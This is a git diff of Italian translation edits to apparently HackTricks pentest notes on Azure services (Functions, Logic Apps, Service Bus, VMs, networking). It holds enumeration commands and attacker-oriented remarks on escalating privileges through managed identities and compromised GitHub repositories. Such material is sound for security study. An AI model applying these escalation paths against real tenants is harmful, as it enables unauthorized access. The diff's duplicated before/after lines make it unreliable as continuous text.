- **Autenticazione Microsoft Entra Domain Services**: Sfrutta i Microsoft Entra Domain Services (AD basato su cloud) per fornire accesso utilizzando le credenziali di Microsoft Entra.
- **Microsoft Entra Kerberos per Identità Ibride**: Consente agli utenti di Microsoft Entra di autenticarsi alle condivisioni di file Azure tramite internet utilizzando Kerberos. Supporta VM unite a Microsoft Entra ibride o unite a Microsoft Entra senza richiedere connettività con i controller di dominio on-premises. Ma non supporta identità solo cloud.
- **Microsoft Entra Kerberos per Identità Ibride**: Consente agli utenti di Microsoft Entra di autenticarsi alle condivisioni di file Azure su Internet utilizzando Kerberos. Supporta VM unite a Microsoft Entra ibride o unite a Microsoft Entra senza richiedere connettività con i controller di dominio on-premises. Ma non supporta identità solo cloud.
- **Autenticazione AD Kerberos per Client Linux**: Consente ai client Linux di utilizzare Kerberos per l'autenticazione SMB tramite AD DS on-premises o Microsoft Entra Domain Services.
## Enumerazione
@@ -144,7 +144,7 @@ az-storage.md
## Escalation dei privilegi
Stesso della privesc dello storage:
Stesso metodo per la privesc dello storage:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
@@ -158,7 +158,7 @@ Stesso della privesc dello storage:
## Persistenza
Stesso della persistenza dello storage:
Stesso metodo per la persistenza dello storage:
{{#ref}}
../az-persistence/az-storage-persistence.md

View File

@@ -9,7 +9,7 @@
> [!NOTE]
> Nota che **le Funzioni sono un sottoinsieme dei Servizi App**, quindi molte delle funzionalità discusse qui saranno utilizzate anche dalle applicazioni create come Azure Apps (`webapp` in cli).
### Piani Differenti
### Piani Diversi
- **Piano di Consumo Flessibile**: Offre **scalabilità dinamica e basata su eventi** con prezzi pay-as-you-go, aggiungendo o rimuovendo istanze di funzione in base alla domanda. Supporta **rete virtuale** e **istanze pre-provisionate** per ridurre i cold start, rendendolo adatto per **carichi di lavoro variabili** che non richiedono supporto per container.
- **Piano di Consumo Tradizionale**: L'opzione serverless predefinita, dove **si paga solo per le risorse di calcolo quando le funzioni vengono eseguite**. Si scala automaticamente in base agli eventi in arrivo e include **ottimizzazioni per i cold start**, ma non supporta le distribuzioni di container. Ideale per **carichi di lavoro intermittenti** che richiedono scalabilità automatica.
@@ -36,7 +36,7 @@ Nota che le Funzioni consentono anche di memorizzare il codice in una posizione
Utilizzando un trigger HTTP:
- È possibile dare **accesso a una funzione da tutto Internet** senza richiedere alcuna autenticazione o dare accesso basato su IAM. Sebbene sia anche possibile limitare questo accesso.
- È possibile dare **accesso a una funzione da tutto Internet** senza richiedere alcuna autenticazione o dare accesso basato su IAM. Anche se è possibile limitare questo accesso.
- È anche possibile **dare o limitare l'accesso** a una Function App da **una rete interna (VPC)**.
> [!CAUTION]
@@ -58,10 +58,10 @@ In una **funzione Windows** che utilizza NodeJS il codice si trovava in **`C:\ho
Proprio come [**VM**](vms/index.html), le Funzioni possono avere **Identità Gestite** di 2 tipi: Assegnate dal sistema e Assegnate dall'utente.
L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** a cui è assegnata potrà utilizzare, mentre le **identità gestite assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**.
L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** che l'ha assegnata potrà utilizzare, mentre le **identità gestite assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**.
> [!NOTE]
> Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se comprometti la funzione perché potresti essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione.
> Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se si compromette la funzione perché si potrebbe essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione.
>
> Se non viene utilizzata un'identità gestita dal sistema ma una o più identità gestite dall'utente sono collegate a una funzione, per impostazione predefinita non sarà possibile ottenere alcun token.
@@ -78,14 +78,14 @@ Nota che devi trovare un modo per **controllare tutte le Identità Gestite a cui
Quando si crea un endpoint all'interno di una funzione utilizzando un **trigger HTTP**, è possibile indicare il **livello di autorizzazione della chiave di accesso** necessario per attivare la funzione. Sono disponibili tre opzioni:
- **ANONYMOUS**: **Tutti** possono accedere alla funzione tramite l'URL.
- **ANONYMOUS**: **Chiunque** p accedere alla funzione tramite l'URL.
- **FUNCTION**: L'endpoint è accessibile solo agli utenti che utilizzano una **chiave di funzione, host o master**.
- **ADMIN**: L'endpoint è accessibile solo agli utenti con una **chiave master**.
**Tipo di chiavi:**
- **Chiavi di Funzione:** Le chiavi di funzione possono essere predefinite o definite dall'utente e sono progettate per concedere accesso esclusivamente a **specifici endpoint di funzione** all'interno di una Function App consentendo un accesso più dettagliato sugli endpoint.
- **Chiavi Host:** Le chiavi host, che possono essere anch'esse predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**.
- **Chiavi di Funzione:** Le chiavi di funzione possono essere predefinite o definite dall'utente e sono progettate per concedere accesso esclusivamente a **endpoint di funzione specifici** all'interno di una Function App consentendo un accesso più dettagliato sugli endpoint.
- **Chiavi Host:** Le chiavi host, che possono essere predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**.
- **Chiave Master:** La chiave master (`_master`) funge da chiave amministrativa che offre permessi elevati, incluso l'accesso a tutti gli endpoint di funzione (incluso il livello di accesso ADMIN). Questa **chiave non può essere revocata.**
- **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da estensioni specifiche** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API.
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Inoltre, viene creata un'**Identità Gestita** affinché l'azione di Github del repository possa accedere ad Azure. Questo avviene generando una credenziale Federata sull'**Identità Gestita** che consente all'**Emittente** `https://token.actions.githubusercontent.com` e all'**Identificatore del Soggetto** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Inoltre, viene creata un'**Identità Gestita** affinché l'azione di Github del repository possa accedere ad Azure con essa. Questo avviene generando una credenziale Federata sull'**Identità Gestita** che consente all'**Emittente** `https://token.actions.githubusercontent.com` e all'**Identificatore del Soggetto** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Pertanto, chiunque comprometta quel repository sarà in grado di compromettere la funzione e le Identità Gestite ad essa collegate.

View File

@@ -10,7 +10,7 @@ Logic Apps offre un designer visivo per creare flussi di lavoro con una **ampia
### Esempi
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **i processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di Azure Storage, consentendo un'elaborazione dinamica dei dati.
### Visualizza un LogicAPP
@@ -34,12 +34,12 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741
Ci sono diverse opzioni di hosting:
* **Consumo**
* **Consumption**
- **Multi-tenant**: fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti.
* **Standard**
- **Workflow Service Plan**: risorse di calcolo dedicate con integrazione VNET per il networking e addebiti per ogni istanza del piano di servizio workflow. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. Questo è ideale per applicazioni su scala aziendale che necessitano di elevato isolamento.
- **Ibrido** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA).
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. Questo è ideale per applicazioni su scala aziendale che necessitano di alta isolamento.
- **Hybrid** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA).
### Enumerazione

View File

@@ -149,4 +149,6 @@ az mysql flexible-server deploy run \
* Cercare un modo per accedere con mysql flexible-server ad-admin per verificare se è un metodo di elevazione dei privilegi
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -106,7 +106,7 @@ az postgres flexible-server execute \
--querytext "SELECT * FROM <table-name>;"
```
Or
Oppure
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```

View File

@@ -4,7 +4,7 @@
## Informazioni di base
Azure Queue Storage è un servizio nella piattaforma cloud Azure di Microsoft progettato per la messaggistica tra i componenti dell'applicazione, **abilitando la comunicazione asincrona e il disaccoppiamento**. Ti consente di memorizzare un numero illimitato di messaggi, ciascuno fino a 64 KB di dimensione, e supporta operazioni come la creazione e la cancellazione di code, l'aggiunta, il recupero, l'aggiornamento e la cancellazione di messaggi, oltre alla gestione dei metadati e delle politiche di accesso. Sebbene elabori tipicamente i messaggi in un ordine di tipo first-in-first-out (FIFO), non è garantito un FIFO rigoroso.
Azure Queue Storage è un servizio nella piattaforma cloud Azure di Microsoft progettato per la messaggistica tra i componenti dell'applicazione, **abilitando la comunicazione asincrona e il disaccoppiamento**. Ti consente di memorizzare un numero illimitato di messaggi, ciascuno fino a 64 KB di dimensione, e supporta operazioni come la creazione e la cancellazione di code, l'aggiunta, il recupero, l'aggiornamento e la cancellazione di messaggi, oltre alla gestione dei metadati e delle politiche di accesso. Sebbene elabori tipicamente i messaggi in un ordine di arrivo (FIFO), non è garantito un FIFO rigoroso.
### Enumerazione

View File

@@ -6,50 +6,50 @@
Azure Service Bus è un **servizio di messaggistica** basato su cloud progettato per abilitare una **comunicazione affidabile tra diverse parti di un'applicazione o applicazioni separate**. Funziona come un intermediario sicuro, garantendo che i messaggi vengano consegnati in modo sicuro, anche se il mittente e il destinatario non operano simultaneamente. Decoupling dei sistemi consente alle applicazioni di lavorare in modo indipendente pur continuando a scambiare dati o istruzioni. È particolarmente utile per scenari che richiedono bilanciamento del carico tra più lavoratori, consegna affidabile dei messaggi o coordinamento complesso, come l'elaborazione di compiti in ordine o la gestione sicura degli accessi.
### Key Concepts
### Concetti Chiave
1. **Queues:** il suo scopo è memorizzare i messaggi fino a quando il destinatario è pronto.
1. **Code:** il suo scopo è memorizzare i messaggi fino a quando il destinatario è pronto.
- I messaggi sono ordinati, timestamped e memorizzati in modo durevole.
- Consegnati in modalità pull (recupero su richiesta).
- Supporta la comunicazione punto a punto.
2. **Topics:** Messaggistica publish-subscribe per la trasmissione.
2. **Argomenti:** Messaggistica publish-subscribe per la trasmissione.
- Più sottoscrizioni indipendenti ricevono copie dei messaggi.
- Le sottoscrizioni possono avere regole/filtri per controllare la consegna o aggiungere metadati.
- Supporta la comunicazione molti-a-molti.
3. **Namespaces:** Un contenitore per tutti i componenti di messaggistica, code e argomenti, è come la tua porzione di un potente cluster Azure, fornendo capacità dedicata e, facoltativamente, estendendosi su tre zone di disponibilità.
3. **Namespace:** Un contenitore per tutti i componenti di messaggistica, code e argomenti, è come la tua porzione di un potente cluster Azure, fornendo capacità dedicata e, facoltativamente, estendendosi su tre zone di disponibilità.
### Advance Features
### Funzioni Avanzate
Alcune funzionalità avanzate sono:
Alcune funzioni avanzate sono:
- **Message Sessions**: Garantisce l'elaborazione FIFO e supporta modelli di richiesta-risposta.
- **Auto-Forwarding**: Trasferisce messaggi tra code o argomenti nello stesso namespace.
- **Sessioni di Messaggi**: Garantisce l'elaborazione FIFO e supporta modelli di richiesta-risposta.
- **Auto-Inoltro**: Trasferisce messaggi tra code o argomenti nello stesso namespace.
- **Dead-Lettering**: Cattura messaggi non consegnabili per la revisione.
- **Scheduled Delivery**: Ritarda l'elaborazione dei messaggi per compiti futuri.
- **Message Deferral**: Posticipa il recupero dei messaggi fino a quando non è pronto.
- **Transactions**: Raggruppa operazioni in esecuzione atomica.
- **Filters & Actions**: Applica regole per filtrare o annotare i messaggi.
- **Auto-Delete on Idle**: Elimina le code dopo inattività (min: 5 minuti).
- **Duplicate Detection**: Rimuove messaggi duplicati durante i reinvii.
- **Batch Deletion**: Elimina in blocco messaggi scaduti o non necessari.
- **Consegna Programmata**: Ritarda l'elaborazione dei messaggi per compiti futuri.
- **Rinvio dei Messaggi**: Posticipa il recupero dei messaggi fino a quando non è pronto.
- **Transazioni**: Raggruppa operazioni in esecuzione atomica.
- **Filtri e Azioni**: Applica regole per filtrare o annotare i messaggi.
- **Auto-Cancellazione in Idle**: Elimina le code dopo inattività (min: 5 minuti).
- **Rilevamento dei Duplicati**: Rimuove messaggi duplicati durante i reinvii.
- **Cancellazione in Batch**: Elimina in blocco messaggi scaduti o non necessari.
### Authorization-Rule / SAS Policy
### Regola di Autorizzazione / Politica SAS
Le politiche SAS definiscono i permessi di accesso per le entità del namespace di Azure Service Bus (la più importante), code e argomenti. Ogni politica ha i seguenti componenti:
Le Politiche SAS definiscono i permessi di accesso per le entità del namespace di Azure Service Bus (la più importante), code e argomenti. Ogni politica ha i seguenti componenti:
- **Permissions**: Caselle di controllo per specificare i livelli di accesso:
- Manage: Concede il pieno controllo sull'entità, inclusa la configurazione e la gestione dei permessi.
- Send: Consente di inviare messaggi all'entità.
- Listen: Consente di ricevere messaggi dall'entità.
- **Primary and Secondary Keys**: Queste sono chiavi crittografiche utilizzate per generare token sicuri per autenticare l'accesso.
- **Primary and Secondary Connection Strings**: Stringhe di connessione preconfigurate che includono l'endpoint e la chiave per un uso facile nelle applicazioni.
- **SAS Policy ARM ID**: Il percorso di Azure Resource Manager (ARM) per la politica per identificazione programmatica.
- **Permessi**: Caselle di controllo per specificare i livelli di accesso:
- Gestire: Concede il pieno controllo sull'entità, inclusa la configurazione e la gestione dei permessi.
- Inviare: Consente di inviare messaggi all'entità.
- Ascoltare: Consente di ricevere messaggi dall'entità.
- **Chiavi Primarie e Secondarie**: Queste sono chiavi crittografiche utilizzate per generare token sicuri per autenticare l'accesso.
- **Stringhe di Connessione Primarie e Secondarie**: Stringhe di connessione preconfigurate che includono l'endpoint e la chiave per un uso facile nelle applicazioni.
- **ID Politica SAS ARM**: Il percorso di Azure Resource Manager (ARM) per la politica per identificazione programmatica.
### NameSpace
### Namespace
sku, regola di autorizzazione,
### Enumeration
### Enumerazione
{{#tabs }}
{{#tab name="az cli" }}

View File

@@ -25,21 +25,21 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- **Crittografia del disco VM:** Il disco è crittografato a riposo per impostazione predefinita utilizzando una chiave gestita dalla piattaforma.
- È anche possibile abilitare la **Crittografia all'host**, dove i dati verranno crittografati nell'host prima di essere inviati al servizio di archiviazione, garantendo una crittografia end-to-end tra l'host e il servizio di archiviazione ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Gruppo di sicurezza di rete NIC**:
- **Nessuno**: Apre fondamentalmente ogni porta
- **Nessuno**: Apre fondamentalmente tutte le porte
- **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avanzato**: Seleziona un gruppo di sicurezza
- **Backup**: È possibile abilitare il backup **Standard** (uno al giorno) e **Potenziato** (multipli al giorno)
- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno)
- **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite:
- Percentuale CPU superiore all'80%
- Byte di memoria disponibile inferiori a 1GB
- Percentuale di IOPS consumati dai dischi dati superiore al 95%
- Percentuale di IOPS consumati dal sistema operativo superiore al 95%
- Rete in totale superiore a 500GB
- Rete in uscita totale superiore a 200GB
- Byte di Memoria Disponibile inferiori a 1GB
- Percentuale IOPS Dischi Dati Consumato superiore al 95%
- Percentuale IOPS OS Consumato superiore al 95%
- Rete in Totale superiore a 500GB
- Rete Out Totale superiore a 200GB
- VmAvailabilityMetric inferiore a 1
- **Monitor di salute**: Per impostazione predefinita controlla il protocollo HTTP sulla porta 80
- **Blocchi**: Consente di bloccare una VM in modo che possa essere solo letta (**ReadOnly** lock) o possa essere letta e aggiornata ma non eliminata (**CanNotDelete** lock).
- **Monitor di Salute**: Per impostazione predefinita controlla il protocollo HTTP sulla porta 80
- **Blocchi**: Consente di bloccare una VM in modo che possa essere solo letta (**Blocco di sola lettura**) o possa essere letta e aggiornata ma non eliminata (**Blocco Non Eliminabile**).
- La maggior parte delle risorse relative alle VM **supporta anche i blocchi** come dischi, snapshot...
- I blocchi possono essere applicati anche a **livelli di gruppo di risorse e abbonamento**
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery aiuta a garantire la continuità aziendale mantenendo attive le applicazioni e i carichi di lavoro aziendali durante le interruzioni. Site Recovery **replica i carichi di lavoro** in esecuzione su macchine fisiche e virtuali (VM) da un sito primario a una posizione secondaria. Quando si verifica un'interruzione nel tuo sito primario, si passa a una posizione secondaria e si accede alle app da lì. Dopo che la posizione primaria è di nuovo operativa, puoi tornare ad essa.
Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery aiuta a garantire la continuità aziendale mantenendo le applicazioni e i carichi di lavoro aziendali attivi durante le interruzioni. Site Recovery **replica i carichi di lavoro** in esecuzione su macchine fisiche e virtuali (VM) da un sito primario a una posizione secondaria. Quando si verifica un'interruzione nel tuo sito primario, si passa a una posizione secondaria e si accede alle app da lì. Dopo che la posizione primaria è di nuovo operativa, puoi tornare ad essa.
## Azure Bastion
Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e al **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM.
Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una netmask di `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una maschera di rete `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Per elencare tutti gli Azure Bastion Hosts nella tua sottoscrizione e connetterti alle VM tramite essi, puoi utilizzare i seguenti comandi:
@@ -189,7 +189,7 @@ Get-AzBastion
## Metadata
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, configurazioni di archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Inoltre, per contattare l'endpoint dei metadati, la richiesta HTTP deve avere l'intestazione **`Metadata: true`** e non deve avere l'intestazione **`X-Forwarded-For`**.

View File

@@ -9,7 +9,7 @@ Inoltre, è possibile **collegare** le VNet con altre VNet e con reti on-premise
## Rete Virtuale (VNET) e Sottoreti
Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **controllo completo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete.
Una Rete Virtuale di Azure (VNet) è una rappresentazione della tua rete nel cloud, che fornisce **isolamento logico** all'interno dell'ambiente Azure dedicato alla tua sottoscrizione. Le VNet ti consentono di fornire e gestire reti private virtuali (VPN) in Azure, ospitando risorse come Macchine Virtuali (VM), database e servizi applicativi. Offrono **pieno controllo sulle impostazioni di rete**, inclusi intervalli di indirizzi IP, creazione di sottoreti, tabelle di routing e gateway di rete.
Le **sottoreti** sono suddivisioni all'interno di una VNet, definite da specifici **intervalli di indirizzi IP**. Segmentando una VNet in più sottoreti, puoi organizzare e proteggere le risorse in base alla tua architettura di rete.\
Per impostazione predefinita, tutte le sottoreti all'interno della stessa Rete Virtuale di Azure (VNet) **possono comunicare tra loro** senza alcuna restrizione.
@@ -93,18 +93,18 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
Azure Firewall è un **servizio di sicurezza di rete gestito** in Azure che protegge le risorse cloud ispezionando e controllando il traffico. È un **firewall stateful** che filtra il traffico in base a regole per i Livelli 3-7, supportando la comunicazione sia **all'interno di Azure** (traffico est-ovest) che **verso/da reti esterne** (traffico nord-sud). Distribuito a livello di **Virtual Network (VNet)**, fornisce protezione centralizzata per tutte le subnet nella VNet. Azure Firewall si scala automaticamente per gestire le richieste di traffico e garantisce alta disponibilità senza richiedere configurazioni manuali.
È disponibile in tre SKU—**Basic**, **Standard** e **Premium**, ciascuno progettato per soddisfare esigenze specifiche dei clienti:
È disponibile in tre SKU—**Basic**, **Standard** e **Premium**, ciascuno adattato a specifiche esigenze dei clienti:
| Criteri/Caratteristiche | Opzione 1 | Opzione 2 | Opzione 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Caso d'uso raccomandato** | Piccole/Medie Imprese (PMI) con esigenze limitate | Uso aziendale generale, filtraggio Livelli 37 | Ambienti altamente sensibili (es. elaborazione pagamenti) |
| **Prestazioni** | Fino a 250 Mbps di throughput | Fino a 30 Gbps di throughput | Fino a 100 Gbps di throughput |
| **Intelligence sulle minacce** | Solo avvisi | Avvisi e blocco (IP/domini malevoli) | Avvisi e blocco (intelligence sulle minacce avanzate) |
| **Filtraggio L3L7** | Filtraggio di base | Filtraggio stateful attraverso i protocolli | Filtraggio stateful con ispezione avanzata |
| **Caso d'uso raccomandato** | Piccole/Medie Imprese (PMI) con esigenze limitate | Uso aziendale generale, filtraggio Livello 37 | Ambienti altamente sensibili (es. elaborazione pagamenti) |
| **Prestazioni** | Fino a 250 Mbps di throughput | Fino a 30 Gbps di throughput | Fino a 100 Gbps di throughput |
| **Intelligence sulle minacce** | Solo avvisi | Avvisi e blocco (IP/domini malevoli) | Avvisi e blocco (intelligence sulle minacce avanzate) |
| **Filtraggio L3L7** | Filtraggio di base | Filtraggio stateful tra protocolli | Filtraggio stateful con ispezione avanzata |
| **Protezione avanzata dalle minacce** | Non disponibile | Filtraggio basato su intelligence delle minacce | Include il Sistema di Rilevamento e Prevenzione delle Intrusioni (IDPS) |
| **Ispezione TLS** | Non disponibile | Non disponibile | Supporta la terminazione TLS in entrata/uscita |
| **Ispezione TLS** | Non disponibile | Non disponibile | Supporta la terminazione TLS in entrata/uscita |
| **Disponibilità** | Backend fisso (2 VM) | Autoscaling | Autoscaling |
| **Facilità di gestione** | Controlli di base | Gestito tramite Firewall Manager | Gestito tramite Firewall Manager |
| **Facilità di gestione** | Controlli di base | Gestito tramite Firewall Manager | Gestito tramite Firewall Manager |
### Enumeration
@@ -143,9 +143,9 @@ Get-AzFirewall
## Tabelle di Routing di Azure
Le **Tabelle di Routing di Azure** vengono utilizzate per controllare il routing del traffico di rete all'interno di una subnet. Definiscono regole che specificano come i pacchetti devono essere inoltrati, sia verso le risorse di Azure, verso Internet, o a un prossimo salto specifico come un Virtual Appliance o Azure Firewall. Puoi associare una tabella di routing a una **subnet**, e tutte le risorse all'interno di quella subnet seguiranno le rotte nella tabella.
Le **Tabelle di Routing di Azure** vengono utilizzate per controllare il routing del traffico di rete all'interno di una subnet. Definiscono regole che specificano come i pacchetti devono essere inoltrati, sia verso le risorse di Azure, verso Internet, o a un prossimo salto specifico come un Virtual Appliance o Azure Firewall. Puoi associare una tabella di routing a una **subnet**, e tutte le risorse all'interno di quella subnet seguiranno i percorsi nella tabella.
**Esempio:** Se una subnet ospita risorse che devono instradare il traffico in uscita attraverso un Network Virtual Appliance (NVA) per l'ispezione, puoi creare una **rotta** in una tabella di routing per reindirizzare tutto il traffico (ad es., `0.0.0.0/0`) all'indirizzo IP privato dell'NVA come prossimo salto.
**Esempio:** Se una subnet ospita risorse che devono instradare il traffico in uscita attraverso un Network Virtual Appliance (NVA) per l'ispezione, puoi creare un **percorso** in una tabella di routing per reindirizzare tutto il traffico (ad es., `0.0.0.0/0`) all'indirizzo IP privato dell'NVA come prossimo salto.
### **Enumerazione**
@@ -172,7 +172,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link è un servizio in Azure che **abilita l'accesso privato ai servizi Azure** garantendo che **il traffico tra la tua rete virtuale Azure (VNet) e il servizio viaggi interamente all'interno della rete backbone di Microsoft Azure**. Porta efficacemente il servizio nella tua VNet. Questa configurazione migliora la sicurezza non esponendo i dati a Internet pubblico.
Azure Private Link è un servizio in Azure che **abilita l'accesso privato ai servizi Azure** garantendo che **il traffico tra la tua rete virtuale Azure (VNet) e il servizio viaggi interamente all'interno della rete backbone di Microsoft Azure**. Porta effettivamente il servizio nella tua VNet. Questa configurazione migliora la sicurezza non esponendo i dati a Internet pubblico.
Private Link può essere utilizzato con vari servizi Azure, come Azure Storage, Azure SQL Database e servizi personalizzati condivisi tramite Private Link. Fornisce un modo sicuro per consumare servizi all'interno della propria VNet o anche da diverse sottoscrizioni Azure.
@@ -296,11 +296,11 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway e Azure Application Gateway WAF
Azure Application Gateway è un **bilanciatore di carico per il traffico web** che ti consente di gestire il traffico verso le tue **applicazioni web**. Offre **bilanciamento del carico a livello 7, terminazione SSL e capacità di firewall per applicazioni web (WAF)** nel Controller di Distribuzione delle Applicazioni (ADC) come servizio. Le caratteristiche principali includono instradamento basato su URL, affinità di sessione basata su cookie e offloading del layer di socket sicuri (SSL), che sono cruciali per le applicazioni che richiedono capacità di bilanciamento del carico complesse come instradamento globale e instradamento basato su percorso.
Azure Application Gateway è un **bilanciatore di carico per il traffico web** che ti consente di gestire il traffico verso le tue **applicazioni web**. Offre **bilanciamento del carico a livello 7, terminazione SSL e capacità di firewall per applicazioni web (WAF)** nel Controller di Distribuzione delle Applicazioni (ADC) come servizio. Le caratteristiche principali includono il routing basato su URL, l'affinità delle sessioni basata su cookie e il caricamento del layer di socket sicuri (SSL), che sono cruciali per le applicazioni che richiedono capacità di bilanciamento del carico complesse come il routing globale e il routing basato su percorso.
**Esempio:**
Considera uno scenario in cui hai un sito web di e-commerce che include più sottodomini per diverse funzioni, come account utente e elaborazione dei pagamenti. Azure Application Gateway può **inviare il traffico ai server web appropriati in base al percorso URL**. Ad esempio, il traffico verso `example.com/accounts` potrebbe essere diretto al servizio account utente, e il traffico verso `example.com/pay` potrebbe essere diretto al servizio di elaborazione dei pagamenti.\
